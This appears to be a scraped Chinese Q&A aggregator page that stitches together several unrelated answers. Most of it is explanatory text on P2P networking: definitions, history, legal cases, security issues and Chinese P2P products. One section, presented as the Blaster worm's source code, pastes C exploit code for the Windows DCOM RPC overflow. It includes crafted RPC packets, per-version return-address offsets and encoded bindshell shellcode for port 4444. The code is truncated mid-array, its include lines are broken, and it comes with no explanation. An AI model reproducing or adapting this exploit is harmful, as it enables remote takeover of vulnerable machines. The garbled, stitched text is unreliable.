當前位置:首頁 » 操作系統 » cp2p源碼

cp2p源碼

發布時間: 2022-08-19 12:38:20

⑴ 什麼是p2p技術下載

以下是網路資料:
點對點技術 點對點技術(peer-to-peer, 簡稱P2P)又稱對等互聯網路技術,是一種網路新技術,依賴網路中參與者的計算能力和帶寬,而不是把依賴都聚集在較少的幾台伺服器上。P2P網路通常用於通過Ad Hoc連接來連接節點。這類網路可以用於多種用途,各種檔案分享軟體已經得到了廣泛的使用。P2P技術也被使用在類似VoIP等實時媒體業務的數據通信中。
純點對點網路沒有客戶端或伺服器的概念,只有平等的同級節點,同時對網路上的其它節點充當客戶端和伺服器。這種網路設計模型不同於客戶端-伺服器模型,在客戶端-伺服器模型中通信通常來往於一個中央伺服器。
有些網路(如Napster, OpenNAP, 或IRC @find)的一些功能(比如搜索)使用客戶端-伺服器結構,而使用P2P結構來實現另外一些功能。類似Gnutella 或Freenet的網路則使用純P2P結構來實現全部的任務。
歷史
P2P 架構體現了一個互連網技術的關鍵概念,這一概念被描述在1969年4月7日第一份RFC文檔「RFC1,主機軟體」中。而最近,在不用中心索引伺服器結構實現多媒體文件交換的背景下,這個概念已經變的非常普遍了。
純P2P:
節點同時作為客戶端和伺服器端。
沒有中心伺服器。
沒有中心路由器。
雜P2P:
有一個中心伺服器保存節點的信息並對請求這些信息的要求做出響應。
節點負責發布這些信息(因為中心伺服器並不保存文件),讓中心伺服器知道它們想共享什麼文件,讓需要它的節點下載其可共享的資源。
路由終端使用地址,通過被一組索引引用來取得絕對地址。
混合P2P:
同時含有純P2P和雜P2P的特點。
P2P網路的優勢
P2P網路的一個重要的目標就是讓所有的客戶端都能提供資源,包括帶寬,存儲空間和計算能力。因此,當有節點加入且對系統請求增多,整個系統的容量也增大。這是具有一組固定伺服器的C/S結構不能實現的,這種結構中客戶端的增加意味著所有用戶更慢的數據傳輸。
P2P網路的分布特性通過在多節點上復制數據,也增加了防故障的健壯性,並且在純P2P網路中,節點不需要依靠一個中心索引伺服器來發現數據。在後一種情況下,系統也不會出現單點崩潰。
當用P2P來描述Napster 網路時,對等協議被認為是重要的,但是,實際中,Napster 網路取得的成就是對等節點(就象網路的末枝)聯合一個中心索引來實現。這可以使它能快速並且高效的定位可用的內容。對等協議只是一種通用的方法來實現這一點。
應用
點對點技術有許多應用。共享包含各種格式音頻,視頻,數據等的文件是非常普遍的,實時數據(如IP電話通信)也可以使用P2P技術來傳送。
有些網路和通信渠道,象Napster,OpenNAP,和IRC @find,一方面使用了C/S結構來處理一些任務(如搜索功能),另一方面又同時使用P2P結構來處理其他任務。而有些網路,如Gnutella 和 Freenet ,使用P2P結構來處理所有的任務,有時被認為是真正的P2P網路。盡管Gnutella 也使用了目錄伺服器來方便節點得到其它節點的網路地址。
學術性P2P網路
最近,賓夕法尼亞州立大學的開發者,聯合了麻省理工學院開放知識行動,西蒙弗雷澤大學的研究人員,還有第二代互連網P2P工作組,正在開發一個P2P網路的學術性應用。這個項目稱為LionShare,基於第二代網路技術,更詳細地說是Gnutella模型。這個網路的主要目的是讓眾多不同學術機構的用戶能夠共享學術材料。LionShare網路使用雜P2P網路類型,混合了Gnutella分散的P2P網路和傳統的C/S網路。這個程序的用戶能夠上傳文件到一個伺服器上,不管用戶是否在線,都能夠持續的共享。這個網路也允許在比正常小得多的共享社區中使用。
這個網路與當前正在使用的其他P2P網路的主要不同是LionShare網路不允許匿名用戶。這樣做的目的是防止版權材料在網路上共享,這同時也避免了法律糾紛。另一個不同是對不同組有選擇性的共享個別的文件。用戶能個別選擇哪些用戶可以接收這一個文件或者這一組文件。
學術社區需要這種技術,因為有越來越多的多媒體文件應用在課堂上。越來越多的的教授使用多媒體文件,象音頻文件,視頻文件和幻燈片。把這些文件傳給學生是件困難的任務,而這如果用LionShare這類網路則容易的多。
法律方面
在美國法律中,「Betamax判決」的判例堅持復制「技術」不是本質非法的,如果它們有實質性非侵權用途。這個網際網路廣泛使用之前的決定被應用於大部分的數據網路,包括P2P網路,因為已得到認可的文件的傳播也是可以的。這些非侵犯的使用包括發放開放源代碼軟體,公共領域文件和不在版權范圍之內的作品。其他司法部門也可用類似的方式看待這個情況。
實際上,大多數在P2P網路上共享的文件是版權流行音樂和電影,包括各種格式(MP3,MPEG,RM 等)。在多數司法范圍中,共享這些復本是非法的。這讓很多觀察者,包括多數的媒體公司和一些P2P的倡導者,批評這種網路已經對現有的發行模式造成了巨大的威脅。試圖測量實際金錢損失的研究多少有些意義不明。雖然紙面上這些網路的存在而導致的大量損失,而實際上自從這些網路建成以來,實際的收入並沒有多大的變化。不管這種威脅是否存在,美國唱片協會和美國電影協會正花費大量的錢來試著游說立法者來建立新的法律。一些版權擁有者也向公司出錢希望幫助在法律上挑戰從事非法共享他們材料的用戶。
盡管有Betamax判決,P2P網路已經成為那些藝術家和版權許可組織的代表攻擊的靶子。這裡麵包括美國唱片協會和美國電影協會等行業組織。Napster 服務由於美國唱片協會的投訴而被迫關閉。在這個案例中,Napster故意地買賣這些並沒有從版權所有者那得到許可發行的音像文件。
隨著媒體公司打擊版權侵犯的行為擴大,這些網路也迅速不斷地作了調整,讓無論從技術上還是法律上都難於撤除。這導致真正犯法的用戶成為目標,因為雖然潛在的技術是合法的,但是用侵犯版權的方式來傳播的個人對它的濫用很明顯是非法的。
匿名P2P網路允許發布材料,無論合法不合法,在各種司法范圍內都很少或不承擔法律責任。很多人表示這將導致更多的非法材料更容易傳播,甚至(有些人指出)促進恐怖主義,要求在這些領域對其進行規范。而其他人則反對說,非法使用的潛在能力不能阻止這種技術作為合法目的的使用,無罪推定必須得以應用,象其他非P2P技術的匿名服務,如電子郵件,同樣有著相似的能力。
安全方面
許多P2P網路一直受到懷有各種目的的人的持續攻擊。例子包括:
中毒攻擊(提供內容與描述不同的文件)
拒絕服務攻擊(使網路運行非常慢甚至完全崩潰)
背叛攻擊(用戶或軟體使用網路卻沒有貢獻出自己的資源)
在數據中插入病毒(如,下載或傳遞的文件可能被感染了病毒或木馬)
P2P軟體本身的木馬(如,軟體可能含有間諜軟體)
過濾(網路運營商可能會試圖禁止傳遞來自P2P網路上的數據)
身份攻擊(如,跟蹤網路上用戶並且折磨或合法地攻擊他們)
垃圾信息(如在網路上發送未請求的信息--不一定是拒絕服務攻擊)
如果精心設計P2P網路,使用加密技術,大部分的攻擊都可以避免或控制,P2P網路安全事實上與拜占庭將軍問題有密切聯系。然而,當很多的節點試著破壞它時,幾乎任何網路也都會失效,而且許多協議會因用戶少而表現得很失敗。
計算技術展望
技術上,一個純P2P應用必須貫徹只有對等協議,沒有伺服器和客戶端的概念。但這樣的純P2P應用和網路是很少的,大部分稱為P2P的網路和應用實際上包含了或者依賴一些非對等單元,如DNS。同時,真正的應用也使用了多個協議,使節點可以同時或分時做客戶端,伺服器,和對等節點。完全分散的對等網路已經使用了很多年了,象Usenet(1979年)和FidoNet(1984年)這兩個例子。
很多P2P系統使用更強的對等點(稱為超級對等點)作為伺服器,那些客戶節點以星狀方式連接到一個超級對等點上。
在1990年代末期,為了促進對等網路應用的發展,SUN公司增加了一些類到java技術中,讓開發者能開發分散的實時聊天的applet和應用,這是在即時通信流行之前。這個工作現在有JXTA工程來繼續實現。
P2P系統和應用已經吸引了計算機科學研究的大量關注,一些卓越的研究計劃包括Chord計劃, ARPANET, the PAST storage utility, P-Grid(一個自發組織的新興覆蓋性網路),和CoopNet內容分發系統。
國內外現狀
國外的P2P研究現狀
國外開展P2P研究的學術團體主要包括P2P工作組(P2PWG) 、全球網格論壇(Global Grid Forum ,GGF) 。P2P工作組成立的主要目的是希望加速P2P計算基礎設施的建立和相應的標准化工作。P2PWG成立之後,對P2P計算中的術語進行了統一,也形成相關的草案,但是在標准化工作方面工作進展緩慢。目前P2PWG已經和GGF合並,由該論壇管理P2P計算相關的工作。GGF負責網格計算和P2P計算等相關的標准化工作。
從國外公司對P2P計算的支持力度來看,Microsoft公司、Sun公司和Intel公司投入較大。Microsoft公司成立了Pastry項目組,主要負責P2P計算技術的研究和開發工作。目前Microsoft公司已經發布了基於Pastry的軟體包SimPastry/ VisPastry。Rice大學也在Pastry的基礎之上發布了FreePastry軟體包。
在2000年8月,Intel公司宣布成立P2P工作組,正式開展P2P的研究。工作組成立以後,積極與應用開發商合作,開發P2P應用平台。2002年Intel發布了. Net基礎架構之上的Accelerator Kit (P2P加速工具包) 和P2P安全API軟體包,從而使得微軟. NET開發人員能夠迅速地建立P2P安全Web應用程序。
Sun公司以Java技術為背景,開展了JXTA項目。JXTA是基於Java的開源P2P平台,任何個人和組織均可以加入該項目。因此,該項目不僅吸引了大批P2P研究人員和開發人員,而且已經發布了基於JXTA的即時聊天軟體包。JXTA定義了一組核心業務:認證、資源發現和管理。在安全方面,JXTA加入了加密軟體包,允許使用該加密包進行數據加密,從而保證消息的隱私、可認證性和完整性。在JXTA核心之上,還定義了包括內容管理、信息搜索以及服務管理在內的各種其它可選JXTA服務。在核心服務和可選服務基礎上,用戶可以開發各種JXTA平台上的P2P應用。
國內的P2P研究現狀
• 北京大學—Maze
Maze 是北京大學網路實驗室開發的一個中心控制與對等連接相融合的對等計算文件共享系統,在結構上類似Napster,對等計算搜索方法類似於Gnutella。網路上的一台計算機,不論是在內網還是外網,可以通過安裝運行Maze的客戶端軟體自由加入和退出Maze系統。每個節點可以將自己的一個或多個目錄下的文件共享給系統的其他成員,也可以分享其他成員的資源。Maze支持基於關鍵字的資源檢索,也可以通過好友關系直接獲得。
• 清華大學—Granary
Granary是清華大學自主開發的對等計算存儲服務系統。它以對象格式存儲數據。另外,Granary設計了專門的結點信息收集演算法PeerWindow的結構化覆蓋網路路由協議Tourist。
• 華中科技大學—AnySee
AnySee是華中科大設計研發的視頻直播系統。它採用了一對多的服務模式,支持部分NAT和防火牆的穿越,提高了視頻直播系統的可擴展性;同時,它利用近播原則、分域調度的思想,使用Landmark路標演算法直接建樹的方式構建應用層上的組播樹,克服了ESM等一對多模式系統由聯接圖的構造和維護帶來的負載影響。
更詳細介紹見〔中國計算機學會通訊 Page 38-51 鄭緯民等 對等計算研究概論〕
企業研發產品
• 廣州數聯軟體技術有限公司-Poco
POCO 是中國最大的 P2P用戶分享平台 , 是有安全、流量控制力的,無中心伺服器的第三代 P2P 資源交換平台 , 也是世界范圍內少有的盈利的 P2P 平台。目前已經形成了 2600 萬海量用戶,平均在線 58.5 萬,在線峰值突破 71 萬,並且全部是寬頻用戶的用戶群。 成為中國地區第一的 P2P 分享平台。[a]
• 深圳市點石軟體有限公司-OP
OP-又稱為Openext Media Desktop,一個網路娛樂內容平台,Napster的後繼者,它可以最直接的方式找到您想要的音樂、影視、軟體、游戲、圖片、書籍以及各種文檔,隨時在線共享文件容量數以億計「十萬影視、百萬音樂、千萬圖片」。OP整合了Internet Explorer、Windows Media Player、RealOne Player和ACDSee ,是國內的網路娛樂內容平台。[a]
• 基於P2P的在線電視直播-PPLive
PPLive是一款用於互聯網上大規模視頻直播的共享軟體。它使用網狀模型,有效解決了當前網路視頻點播服務的帶寬和負載有限 問題,實現用戶越多,播放越流暢的特性,整 體服務質量大大提高!(2005年的超級女聲決賽期間,這款軟體非常的火爆,同時通過它看湖南衛視的有上萬觀眾)

⑵ C#實現網路視頻點播

我覺得應該可以通過WinSocket來實現吧。

Socket是網路通訊技術,使用流的形式將視頻發往客戶端。客戶端就可以看到網路視頻啦。

---------------------
數據流既然發到了客戶端,那就應該很好操作了啊。MSDN上看看處理視頻的類是哪些。就好比傳送文件一樣,File的幾個類就可以實現了嘛。多看看msdn

⑶ 誰幫我分析(注釋)下沖擊波源代碼。。註明個段代碼的功能。它是用什麼語言寫的我有C、C#編程基礎)

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

#i nclude

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,

0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03

,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={

0x5C,0x00

,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char *targets [] =

{

"Windows NT SP4 (english)",

"Windows NT SP5 (chineese)",

"Windows NT SP6 (chineese)",

"Windows NT SP6a (chineese)",

"Windows 2000 NOSP (polish)",

"Windows 2000 SP3 (polish)",

"Windows 2000 SP4 (spanish)",

"Windows 2000 NOSP1 (english)",

"Windows 2000 NOSP2 (english)",

"Windows 2000 SP2-1 (english)",

"Windows 2000 SP2-2 (english)",

"Windows 2000 SP3-2 (english)",

"Windows 2000 NOSP (chineese)",

"Windows 2000 SP1 (chineese)",

"Windows 2000 SP2 (chineese)",

"Windows 2000 SP3 (chineese)",

"Windows 2000 SP4 (chineese)",

"Windows 2000 SP3 (german)",

"Windows 2000 NOSP (japaneese",

"Windows 2000 SP1 (japaneese)",

"Windows 2000 SP2 (japaneese)",

"Windows 2000 NOSP (korean)",

"Windows 2000 SP1 (korean)",

"Windows 2000 SP2 (korean)",

"Windows 2000 NOSP (mexican)",

"Windows 2000 SP1 (mexican)",

"Windows XP NOSP (english)",

"Windows SP1-2 (english)",

"Windows 2k3 (english)",

"Windows 2000 SP3 (german)",

"Windows 2000 SP4-1 (german)",

"Windows 2000 SP4-2 (german)",

"Windows XP SP1 (german)",

"Windows 2000 SERVER SP1 (french)",

"Windows 2000 SERVER SP4 (french)",

"Windows XP NOSP (french)",

"Windows XP SP1 (french)",

"Windows 2000 SP0 (english)",

"Windows 2000 SP1 (english)",

"Windows 2000 SP2 (english)",

"Windows 2000 SP3 (english)",

"Windows 2000 SP4 (english)",

"Windows XP SP0 (english)",

"Windows XP SP1-1 (english)",

"Windows XP SP2 (english)",

"Windows 2000 Advanced Server SP3 (english)",

"ALL/WINXP/WIN2K",

NULL

};

unsigned long offsets [] =

{

0x77e527f3,

0x77cfdaee,

0x77ac0ef0,

0x77c3eaf0,

0x774d3fe3,

0x77292ce4,

0x77133ba5,

0x777416e8,

0x772b49e2,

0x77b524e8,

0x775cfa2e,

0x772ae3e2,

0x778b89e6,

0x772b49e0,

0x77444342,

0x77294cdf,

0x777a882e,

0x77e527f3,

0x778b89e5,

0x772b49df,

0x772ae3e1,

0x778b89e5,

0x772b49df,

0x772ae3e1,

0x778b89e8,

0x77e3afe9,

0x77db37d7,

0x77b05422,

0x77292ce3,

0x77294ce0,

0x7756c2e2,

0x77fc18d4,

0x774b3ee4,

0x7756c2e2,

0x774a75d4,

0x77fc18d4,

0x77e81674,

0x77e829ec,

0x77e824b5,

0x77e8367a,

0x77f92a9b,

0x77e9afe3,

0x77e626ba,

0x77d737db,

0x77e2afc5,

0x010016C6

};

unsigned char sc[]=

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

⑷ 什麼是P2P技術

P2P即Peer to Peer,稱為對等連接或對等網路,P2P技術主要指由硬體形成連接後的信息控制技術,其代表形式是軟體。
技術背景

P2P起源於最初的聯網通信方式,如在建築物內PC通過區域網互聯,不同建築物間通過Modem遠程撥號互聯。其中建立在TCP/IP協議之上的通信模式構成了今日互聯網的基礎,所以從基礎技術角度看,P2P不是新技術,而是新的應用技術模式。

今天,P2P再一次被關注主要是由Napster以及ICQ類軟體的出現,雖然在Napster之前P2P方式的研究也從未停止。

現在互聯網是以S(Server)/ B(Browser)或S/C(Client)結構的應用模式為主的,這樣的應用必須在網路內設置一個伺服器,信息通過伺服器才可以傳遞。信息或是先集中上傳到伺服器保存,然後再分別下載(如網站),或是信息按伺服器上專有規則(軟體)處理後才可在網路上傳遞流動(如郵件)。

如今擁有Napster及ICQ類軟體的PC(或操作者)就可以選擇同樣擁有此類軟體的另一PC(或操作者)形成互聯(直接連接,不通過伺服器),雙方共享資源,協同完成某種行動。而擁有同一P2P軟體的設備和用戶,還可以形成一個為其自己所有的在互聯網上的P2P專用網。

現狀

1. 代表性研發產品和技術

(1) ICQ類的即時通信軟體。兩個或多個用戶互相使用文字、語音或文件進行交流,快速、直接,易於同非PC網路設備(如PDA、手機)通信,而且它不依賴設備即可辨別用戶。由於利用P2P技術可以弱化甚至擺脫對中央伺服器的依賴,這樣的通信更接近非互聯網通信模式。

(2) Farsite(Microsoft),Ocean Store類數據存儲軟體。用於在網路上將存儲對象分散化存放,而不像現在放於專用伺服器。這樣減輕了伺服器負擔,增加了數據的可靠性和傳輸速度。

(3) Napster類軟體。實現數據共享,使用者可以直接從任意一台安裝同類軟體的PC上下載及上載文件,而不是從伺服器。用戶可以檢索、復制共享的文件。軟體自動發現最新的文件列表,發布者無需擔心發布的問題。

(4) Infrasearch、Pointera類數據搜索及查詢軟體。用來在P2P網中完成信息檢索。一旦形成P2P專用網,其上的數據搜索與現在互聯網中數據存在中央伺服器的情況有所不同,必須要考慮動態地將當前P2P網路中各個Peer的內容進行收集,並且要有效地向用戶傳遞。 P2P網用戶中相當數量在聯網方式上不同,專線、撥號、寬頻、窄帶都會碰到; 聯網的時間可以一個是24小時在線,而另一個完全可能僅聯機幾十分鍾; 使用的操作系統也不一定相同。

(5) Netbatch(Intel)類協同計算軟體。可聯接近1萬台PC,利用它們的空閑時間進行協同計算,完成超計算量的工作(如空間探測,分子生物學計算,晶元設計)。

(6) Groove 類數據或行動協同軟體。它是基於P2P連接的軟體工具,可以建立一個安全的企業級協同工作平台(P2P網),提供供求信息鏈上的互動信息溝通,如貨品目錄、庫存及發貨清單,幫助使用者進行經銷渠道維護、客戶服務和支持。

(7) 游戲軟體。事實上許多網路游戲均是P2P方式的,尤其是那些雙人及多人對弈游戲。

2. 組織與標准

目前,正式的P2P組織尚未成立,2000年8月間成立的P2P工作組,成員包括Intel、IBM、HP等大企業,目標集中在P2P技術的標准、安全性及可靠性等等。但由於P2P技術本身發展迅速,P2P技術涵蓋的范圍尚未確定,目前尚未有統一的規范。

發展

1. 關鍵技術

P2P是一種基於互聯網環境的新的應用型技術,主要為軟體技術。

(1) 對於互聯網上眾多計算機,P2P應用比其他應用要更多考慮那些低端PC的互聯,它們不具備伺服器那樣強的聯網能力,同時對於以往的P2P應用技術,現在的硬體環境已經更為復雜,這樣在通信基礎方面,P2P必須提供在現有硬體邏輯和底層通信協議上的端到端定位(定址)和握手技術,建立穩定的連接。涉及的技術有IP地址解析、NAT路由及防火牆。

(2) 在應用層面上,如果兩個Peer分別代表兩家不同的公司,而且它們已經通過互聯網建立連接,那麼一方的信息就必須為另一方所識別,所以當前互聯網上關於數據描述和交換的協議,如XML、SOAP、UDDI等都是一個完善的P2P軟體所要考慮的。

(3) 有通信就要有安全保障,加密技術是必須要考慮的。

